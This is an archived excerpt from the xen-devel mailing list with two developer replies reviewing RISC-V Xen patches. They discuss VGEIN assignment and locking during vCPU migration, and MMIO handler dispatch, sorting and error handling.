 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6cb83b-b7e8-0a2a450b0019-d155da29cdab-3
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 16:59:07 +0200
Received: by mail-ej1-f41.google.com with SMTP id
 a640c23a62f3a-c1677c91969so133922466b.1
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 07:59:07 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 a640c23a62f3a-c1fd455ab7dsm177614366b.58.2026.07.31.07.59.05
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Fri, 31 Jul 2026 07:59:06 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1785509947; x=1786114747; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=vFL7IZqH065sq8iRIoOhFm50HgrVotTfZWHtBKxIz8M=;
        b=mcX/7mUouS90c8RXzA23D0Y6H0C4nSZIRlnQfbiv00WfUjX0GSkWJ2TNZvUPVi5ABA
         NvGzzm9WNBWLiRtMLZ6uw3tsqNUd3/zf2g4RjTRjqxh2O8aveGm9DBD6eUyx9JvmwJcJ
         Nf63zxfhlyxVSyXjFiPqPu74kpHF0W/02lMKmfSEJdTH6JGfTv2KimTBWCzZiszDD+0O
         mT135yhj4YbT5P5JtRqiLv1hPWtp91mtA2tIS9MeS1252x5sqtlZ6RqhS53zQRfAWlEp
         dcjgaCGIQ3gfQwGyNIpCJ+ANbnSg514Ghb/mUKMSLXwhRvmNTqvh2XV4b+Z42doXI/9S
         HgTg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785509947; x=1786114747;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=vFL7IZqH065sq8iRIoOhFm50HgrVotTfZWHtBKxIz8M=;
        b=AKXSxBUzvRLQU12koM0I2SroemdMa4WUy5jACDRx2iKmi5vTOXTWQUMCDeSe+RjS3/
         2mzuuuEsbsTSKmKVjQyDblyRDQcIZH8u34DyulUh1kdNDH0i4PUitcRAwv3YOUm0WSkL
         Y8hhP1YZoYyDCTTh6ULOtB6J6Za14a1wnqxXwlvwgZQKBUkhan8HbTDwJAYNeg3+1Tnx
         tWCa0jx1VTBBcsN9qJbWMAWVIiA5WP4/8NF7wNpcqN+fX6qn4fgMRMhm58A6bo8FmrU/
         0yx+22XNXQ/xjiRbhRgNnw4MoXXOFAwH4kwPX5lJoecI2HYAr5NPtC+jeH221q2B8Cyi
         v42w==
X-Forwarded-Encrypted: i=1; AHgh+RqGSZOnrSLSsVY7zO15A0UoaI+rUgPHmbt6fVhVM8zrSSCeTPtZkrG5N4lihoI9YSHuRpz7CPQgyao=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwS05vhH+ELIyUP+EsNdBpYsUts/HhqIz6CQRXh7j+syfeznUQW
	d8pkvEJ2aKiH9baewcm0Z0OTteb/8+/r9CumatTPgheDWVAJdMf9olOA
X-Gm-Gg: AR+sD12VdAiJ+o8AVMpiOpdk+aK9+vt46XonutwnxOzC8+xuO+sLLQ/gAxxBcjW7Box
	SwM8lJErc5zXaKVSqZ2me4pf5+ml6xX1ZUS575waJR3ClTTCCR036hgWSiy2Ia11GSYIf67YvQz
	ZICCdpitbdQ4vS2tRbLlXowKA1jND71tCa9F9WD56rGL6j9hDxWNgPPzNn4Y/GTw9/szRJd65as
	omAM+8F5Ja5IV6gkP/QmILxGmn8I3QQmRucP1bzsDfRp4Kl4qL8mA4eJIU60ihFqwqo+ALp1QwW
	ZCGBl6R1wBk3S4IHmotasqQu2v3bYequy4kXkEweOt7lrJuI64Lg2oUIHaPzJWDzt9piM0FoiP0
	Kre1pGTLM2MKcK7lHmYYMo+3F0lT2KpvRU+abBZswce402dMUBRlsKLFlK0fc4kay+FNXCtcyrx
	nwPMnj8QCCnhMhPmL0r2+ZE5uosRivp1QSrnvowYOT1LEPLRCeOTo9YFaKs6/nC9ALzVcDGsXSf
	528yZ0wIOcQzaDyfY7uUGol1yw1iTV/IdRAeCvHxt0=
X-Received: by 2002:a05:6938:a08f:10b0:c19:6d4a:4261 with SMTP id a640c23a62f3a-c1fd2730097mr102003866b.63.1785509946954;
        Fri, 31 Jul 2026 07:59:06 -0700 (PDT)
Message-ID: <39aa93bb-edb8-4f05-8b62-c2677d12fb0b@gmail.com>
Date: Fri, 31 Jul 2026 16:59:05 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v1 02/17] xen/riscv: add basic VGEIN management for AIA
 guests
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
 <b141b8d976719bb9b76147cacfd5842fb7aac74e.1784560663.git.oleksii.kurochko@gmail.com>
 <6501f040-ea59-4e78-8854-030f786dbcf7@suse.com>
 <191a9ddc-9f37-4d26-9141-7dfaf88cb26c@gmail.com>
 <489a1b05-4ae5-44ac-a73b-485669190b59@suse.com>
 <aca9e72d-ff6d-49e0-b128-6675c5521493@gmail.com>
 <79ea95df-29bf-4c9e-8097-2c2b991f27bf@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <79ea95df-29bf-4c9e-8097-2c2b991f27bf@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1785509947-A90CD9EA-CDFB0E6C/10/73395122804
X-purgate-type: spam
X-purgate-size: 5495



On 7/30/26 6:03 PM, Jan Beulich wrote:
> On 30.07.2026 17:46, Oleksii Kurochko wrote:
>> On 7/30/26 9:42 AM, Jan Beulich wrote:
>>> On 29.07.2026 16:55, Oleksii Kurochko wrote:
>>>> On 7/27/26 5:41 PM, Jan Beulich wrote:
>>>>> On 20.07.2026 18:02, Oleksii Kurochko wrote:
>>>>>> It was decided to add support for IMSIC from the start instead of having APLIC
>>>>>> operate in direct delivery mode, as it requires a trap-and-emulation approach,
>>>>>> which is not optimal from a performance standpoint.
>>>>>>
>>>>>> AIA provides a hardware-accelerated mechanism for delivering external
>>>>>> interrupts to domains via "guest interrupt files" located in IMSIC.
>>>>>> A single physical hart can implement multiple such files (up to GEILEN),
>>>>>> allowing several virtual harts to receive interrupts directly from hardware.
>>>>>>
>>>>>> Introduce per-CPU tracking of guest interrupt file identifiers (VGEIN)
>>>>>> for systems implementing AIA specification. Each CPU maintains
>>>>>> a bitmap describing which guest interrupt files are currently in use.
>>>>>>
>>>>>> Add helpers to initialize the bitmap based on the number of available
>>>>>> guest interrupt files (GEILEN), assign a VGEIN to a vCPU, and release it
>>>>>> when no longer needed. When assigning a VGEIN, the corresponding value
>>>>>> is written to the VGEIN field of the guest hstatus register so that
>>>>>> VS-level external interrupts are delivered from the selected interrupt
>>>>>> file.
>>>>>
>>>>> And when exactly is this "assignment" intended to occur? vgein_assign() and
>>>>> vgein_release() have no callers here, so this remains entirely unclear.
>>>>
>>>> [A] Agreed, I should have added that information to the commit message:
>>>>
>>>> VGEIN is assigned (via vgein_assign()) before jumping to the new vCPU
>>>> execution context (in continue_new_vcpu()) and is re-assigned during
>>>> vCPU migration from one pCPU to another.
>>>>
>>>> VGEIN is released (via vgein_release()) on the old pCPU during migration.
>>>
>>> That is, state of that vCPU is held in hardware for perhaps an extended
>>> period of time after the vCPU was last de-scheduled. That's a fair
>>> optimization (we do something similar on x86, albeit that has been
>>> increasingly under question lately). However, doesn't this then require
>>> sync_local_execstate() to become non-empty?
>>
>> IIUC, sync_local_execstate() is needed for the lazy context switch case
>> when switching from vCPUA to the idle vCPU.
> 
> Or when full state is to be obtained for a vCPU, for example.

I assume you're referring to XEN_DOMCTL_getvcpucontext, right?

In general, it seems that sync_local_execstate() is primarily an 
optimization. If lazy switching isn't supported, then every time a vCPU 
is de-scheduled, its state must be fully saved to memory. My 
understanding is that everything will still work correctly, just less 
efficiently.

I'm curious how much this optimization actually helps. How often does it 
happen that a vCPU is de-scheduled from a pCPU and then immediately 
scheduled back onto the same pCPU without any other vCPU being scheduled 
in between?

I will add to my TODO list that it is nice to use sync_local_execstate() 
in future.

>>>>>> +unsigned int vgein_assign(struct vcpu *v)
>>>>>> +{
>>>>>> +    unsigned int vgein_id;
>>>>>> +    struct vgein_ctrl *vgein = &per_cpu(vgein, v->processor);
>>>>>> +    unsigned long *bmp = &vgein->bmp;
>>>>>> +    unsigned long flags;
>>>>>> +
>>>>>> +    if ( !vgein->geilen )
>>>>>> +        return 0;
>>>>>> +
>>>>>> +    spin_lock_irqsave(&vgein->lock, flags);
>>>>>
>>>>> Because it's unclear where this is to be called from, it's also unclear whether
>>>>> a lock is needed here (and if so whether a plain spin lock is appropriate).
>>>>
>>>> Based on what I wrote in [A] above a lock is defintely needed as it
>>>> could be that vgein_release() is called for old pCPU during migration
>>>> and at the same time old pCPU could call vgein_assign() so we want to
>>>> keep vgein bitmap consistent.
>>>
>>> Can this really happen? It almost sounds as if you were suspecting
>>> context-switch-in could race with context-switch-out. Yet again - none of
>>> this can sensibly be discussed without seeing how / where the functions are
>>> to be used.
>>
>> Maybe I didn't explain it clearly, but during migration (which,
>> according to my understanding of vcpu_move_irqs(), is executed on
>> pCPU1), when vCPU0 is migrated from pCPU0 to pCPU1, its old VGEIN on
>> pCPU0 needs to be released. I don't see any reason why, at the same
>> time, pCPU0 could not try to assign that VGEIN to another vCPU. Without
>> proper protection, this could lead to race conditions.
> 
> Doesn't migration of vCPU-s between pCPU-s happen under suitable scheduler
> locks?
> 

If I am not mistaken every path that reaches arch_move_irqs() drops the 
scheduler lock first. The only thing still held at that point is 
sched_res_rculock , and that is an RCU read-side critical section, not 
mutual exclusion: it merely keeps struct sched_resource alive across 
get_sched_res() dereferences, since cpupool/hotplug frees those via 
call_rcu(&sr->rcu, sched_res_free). Any number of pCPUs can be inside it 
concurrently, and it does not disable interrupts, so it serialises 
neither the source pCPU against the destination one nor hgei_interrupt() 
mentioned above against either.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Fri Jul 31 15:24:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 15:24:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1379310.1624020 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpp5m-0007IM-NP; Fri, 31 Jul 2026 15:24:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1379310.1624020; Fri, 31 Jul 2026 15:24:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpp5m-0007IF-Kc; Fri, 31 Jul 2026 15:24:10 +0000
Received: by outflank-mailman (input) for mailman id 1379310;
 Fri, 31 Jul 2026 15:24:09 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wpp5l-0007I6-Fe
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 15:24:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpp5k-006tYX-So
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 17:24:08 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6cbe0d-e002-0a2a0a5209dd-0a2a4505baa0-20
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 17:24:08 +0200
Received: from [209.85.208.42] (helo=mail-ed1-f42.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6cbe18-4cb1-0a2a45050019-d155d02ac9d4-3
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 17:24:08 +0200
Received: by mail-ed1-f42.google.com with SMTP id
 4fb4d7f45d1cf-69fec980a30so1480153a12.3
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 08:24:08 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 4fb4d7f45d1cf-6a09c63dca6sm2095354a12.16.2026.07.31.08.24.06
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Fri, 31 Jul 2026 08:24:07 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1785511448; x=1786116248; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=RoE74sso1nYI6/YVc3EE73b9CwxkGWOzTucsFbElNEc=;
        b=s5HMibd41P8EDbcbcTOwm2EfLKU+K2/HIR/qOtObd6VsC7xxmHBmr54GccmXK+jQlF
         YFMgavXfm0A6Ub3elbPkHMTqn4pGreAI+v4Buf3yklnOrjf+nX7SBNaQe3o6p0UW/7e2
         vOJF783kFb7s0LZCzdT5ewnzG69pHcNIvD+X/9N/v6FzfN9h0Zj93vn6hPv81oE8QEYh
         HL/IvZahh1fk8Atw414cUtfRN7E7D0O2L0DMopL61LYtPZ/vSu0Tm78KsWaVzDpsZqzk
         SeJwk9jOTStfVO+CeGuEfOBGnBqHOb0mYW/r9zdX5YReI3gOfMTHDR+F1gziW/Fe/ek+
         7wsA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785511448; x=1786116248;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=RoE74sso1nYI6/YVc3EE73b9CwxkGWOzTucsFbElNEc=;
        b=b4P/FFXCNDD+6FGIjvD+Rckm4iKKywlZWlmM60Ad8QpeyUa8A1EFSWf8qEuHp6MK3o
         1/QSBr9Ukvr6DY457kJL1TiO4o7fIdXxRfLjiIyI5o7+u+KX11AoU290zQWiQfVEdJj5
         NuYaSb5P7BhnoOgHbJP9md+FPxZX2Pe6/quNOukpyIhB7Xq6ZghGWzI+KNZvRfN2Pjcj
         47xuPqvQ7ZenhxZ7KJlq20kODKvhoZIJOwXC0I2rMAS8MBdQ8kEfQH5ySBbA4ERv3od2
         7ioTcSiJxA4yK+pcPKEPqUBOZX9axHYibuupQJ7ZGdv93o0Spej+RFa5ktvIKHmfjyaQ
         O5CQ==
X-Forwarded-Encrypted: i=1; AHgh+Ro2OKFh8Q3n3w7MWdyGRRDr1nI3DW77E46awjhB28hJjp2u/qLyIai5+MlbrYmPyYTY2BFIdzyTraM=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwOADXbPVRZrPSetSP8lG3MN5RsgtxkHcxsO/BTdKATsSFLYVHJ
	7FYv4wuWnYYx+mIKguaXePav5JJRLKDgwhdvw1+geEFUe3G/M3lTnPS7
X-Gm-Gg: AR+sD11SfQiVQqPMkaeLl6nulyVoGS5UN3idGHVRFMNEHZC6jEA53uxwkaaAux20LVp
	tDQMdzwgkfyYqFAWl72584NLhQFgxzjoFR1OJsX4fTK0gRLbVNFY2Z7+Abgjdy8JW3hV0Z6/w7n
	UQ/7v5Z7ceSyLnBzKWISzY2tVEtvpEsG2d7WR95Fxq8gksU2EkF9b+BONU2HTiVFiCfb4sEI7NJ
	01+uxrqNhYuD1tCP2W41OFSXSEBfcpFW8eqpWsRLExQVd5U55dMkyOitJqSov8iFwvsIp8g0pKa
	CIMh9T0/ln2YMKKJ4llxw5Ufg/W9e8oko25HObskSqR+duMgCUu1XwQOpAUqGS+M+EPDK7vLDC+
	mxk7CLtvdiCpRLv9bZTuNJeGuoPKDL5a+uKCCyh2kmNNuKnr7tDz3qohWRXzIciiOc5TBEpdRVf
	SaIXiX2J/BccUPlMGrJGTOvOI7f/hrp2jlbSTPR5FdIGMeWOGno96RakpavN8DgWn1JlrJ/Y1Qf
	O4aaAjZ7Gusx5UV9vWO88c3FHsxVENALSrV2PPPXxU=
X-Received: by 2002:a05:6402:1f4a:b0:697:ee9b:e9bc with SMTP id 4fb4d7f45d1cf-6a0a7cde2e4mr1232a12.26.1785511448201;
        Fri, 31 Jul 2026 08:24:08 -0700 (PDT)
Message-ID: <636a6183-8c66-41b2-b820-6a02098fd33d@gmail.com>
Date: Fri, 31 Jul 2026 17:24:06 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v1 04/17] xen/riscv: introduce device-agnostic MMIO
 emulation dispatch
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
 <c12b69710d7b79bfc0c110f3fa043d871d8b8394.1784560663.git.oleksii.kurochko@gmail.com>
 <704870c1-18ec-4c7b-873c-e07e77ae0d39@suse.com>
 <d5867843-802d-493f-a535-1f40d9337b63@gmail.com>
 <2ef6b295-862b-40be-a7d2-c94a6378126b@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <2ef6b295-862b-40be-a7d2-c94a6378126b@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c201ff/1785511448-F44A42A1-9C8B55C1/10/73395122804
X-purgate-type: spam
X-purgate-size: 4888



On 7/30/26 6:09 PM, Jan Beulich wrote:
> On 30.07.2026 18:03, Oleksii Kurochko wrote:
>> On 7/28/26 2:23 PM, Jan Beulich wrote:
>>> On 20.07.2026 18:02, Oleksii Kurochko wrote:
>>>> --- /dev/null
>>>> +++ b/xen/arch/riscv/mmio.c
>>>> @@ -0,0 +1,145 @@
>>>> +/* SPDX-License-Identifier: GPL-2.0-or-later */
>>>> +/*
>>>> + * Copyright (C) Vates
>>>> + */
>>>> +
>>>> +#include <xen/bsearch.h>
>>>> +#include <xen/lib.h>
>>>> +#include <xen/rwlock.h>
>>>> +#include <xen/sched.h>
>>>> +#include <xen/sort.h>
>>>> +#include <xen/xvmalloc.h>
>>>> +
>>>> +#include <asm/current.h>
>>>> +#include <asm/mmio.h>
>>>> +
>>>> +static enum io_state handle_read(const struct mmio_handler *handler,
>>>> +                                 struct vcpu *v,
>>>> +                                 mmio_info_t *info)
>>>> +{
>>>> +    register_t r = 0;
>>>> +    enum io_state rc;
>>>> +
>>>> +    rc = handler->ops->read(v, info, &r);
>>>> +    if ( rc == IO_HANDLED )
>>>> +        info->data = r;
>>>
>>> Extending my earlier comment: Why could ->read() not put the value directly
>>> into info->data? And why ...
>>>
>>>> +static enum io_state handle_write(const struct mmio_handler *handler,
>>>> +                                  struct vcpu *v,
>>>> +                                  mmio_info_t *info)
>>>> +{
>>>> +    return handler->ops->write(v, info, info->data);
>>>
>>> ... can't write take the value directly from info->data?
>>
>> I totally agree, it can. Do you think it is better to keep ->data and
>> drop an argument 'r' or vice versa?
> 
> How can I know? You know future plans you have.
> 
>>>> +}
>>>> +
>>>> +/* Assumes mmio regions are not overlapping. */
>>>
>>> Are you guaranteeing this anywhere?
>>
>> There is no such guarantee. register_mmio_handler() simply adds the
>> handler to the handlers array without performing any checks. I can add
>> such a check. The only question is whether it should be enabled only in
>> debug builds or in all builds.
> 
> Depends on what other badness can happen when this is violated. My gut
> feeling is that checking in debug builds may be enough.

Overlapping regions would be a Xen bug rather than something a guest can 
trigger â€” register_mmio_handler() is only called from Xen's own emulated 
device code, so the layout isn't under guest control.

The badness is worse than just mis-emulating one device though: 
cmp_mmio_handler() is used both by bsearch() and by sort(). With 
overlapping regions it's no longer a consistent ordering, so sort() may 
produce an arbitrary order and lookups can then fail (or match the wrong 
handler) even for regions which don't overlap themselves. That would 
show up as a spurious fault injected into the guest, which is quite hard 
to debug.

So I agree a check is worthwhile; I'll add one under CONFIG_DEBUG in 
register_mmio_handler().

> 
>>>> +/*
>>>> + * Return a copy of the matching handler rather than a pointer into
>>>> + * vmmio->handlers: a concurrent register_mmio_handler() re-sorts the
>>>> + * array, so an escaped pointer could refer to a different (or torn)
>>>> + * entry once the lock is dropped.  The copy stays valid as the ops
>>>> + * structures are never freed.
>>>> + */
>>>> +static bool find_mmio_handler(struct domain *d, paddr_t gpa,
>>>> +                              struct mmio_handler *out)
>>>> +{
>>>> +    struct vmmio *vmmio = &d->arch.vmmio;
>>>> +    struct mmio_handler key = { .addr = gpa };
>>>> +    const struct mmio_handler *handler;
>>>> +
>>>> +    read_lock(&vmmio->lock);
>>>> +    handler = bsearch(&key, vmmio->handlers, vmmio->num_entries,
>>>> +                      sizeof(*handler), cmp_mmio_handler);
>>>
>>> So beyond the assumption stated further up you also assume the array to
>>> be sorted. Which you ...
>>>
>>>> +void register_mmio_handler(struct domain *d,
>>>> +                           const struct mmio_handler_ops *ops,
>>>> +                           paddr_t addr, paddr_t size)
>>>> +{
>>>> +    struct vmmio *vmmio = &d->arch.vmmio;
>>>> +    struct mmio_handler *handler;
>>>> +
>>>> +    write_lock(&vmmio->lock);
>>>> +
>>>> +    BUG_ON(vmmio->num_entries >= vmmio->max_num_entries);
>>>
>>> (Do we really need to crash in such a case? Can't we just fail domain
>>> creation?)
>>
>> Generally, no. However, the approach used by Arm's dom0less solution is
>> to crash as soon as any issue occurs instead of trying to continue
>> running other domains, so I follow the same approach for RISC-V.
>>
>> Even if I return an error here, the common dom0less code will panic anyway.
> 
> That's the policy there, but you're writing code here also for the case where
> Dom0 creates domains.

Missed that. In this case I agree that it would be nice to return something.

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Fri Jul 31 15:33:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 15:33:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1379322.1624031 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wppE7-0000iV-HI; Fri, 31 Jul 2026 15:32:47 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1379322.1624031; Fri, 31 Jul 2026 15:32:47 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wppE7-0000iO-DK; Fri, 31 Jul 2026 15:32:47 +0000
Received: by outflank-mailman (input) for mailman id 1379322;
 Fri, 31 Jul 2026 15:32:46 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fb8ce47f6000e099@swg.vates.tech>)
 id 1wppE6-0000iI-E0
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 15:32:46 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wppE0-00Emcu-2a
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 17:32:40 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fb8ce47f6000e099@swg.vates.tech>)
 id 6a6cc00f-5cb7-0a2a0a5109dd-0a2a450ac398-10
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 17:32:40 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fb8ce47f6000e099@swg.vates.tech>)
 id 6a6cc017-f2d2-0a2a450a0019-b9ff1c229b09-3
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 17:32:39 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19fb8ce47f6000e099.003 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Fri, 31 Jul 2026 15:32:34 +0000
Received: from l14.home (areims-651-1-80-194.w90-18.abo.wanadoo.fr
 [90.18.187.194]) (Authenticated sender: anthony.perard)
 by mail2.vates.fr (Postfix) with ESMTPSA id A2E4B8310E;
 Fri, 31 Jul 2026 17:32:33 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=E74rtg7xvJElw5aFZgAvQQASAvQyMsRJ5/BdWO3+NuM=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:feedback-id;
 b=OXXqSlzdt6viKU+J7nfRqMblI2u3zBF4aslkCWfaoUYgp20l3sWe6GtWLVmTNlMOK6q1yPZIE
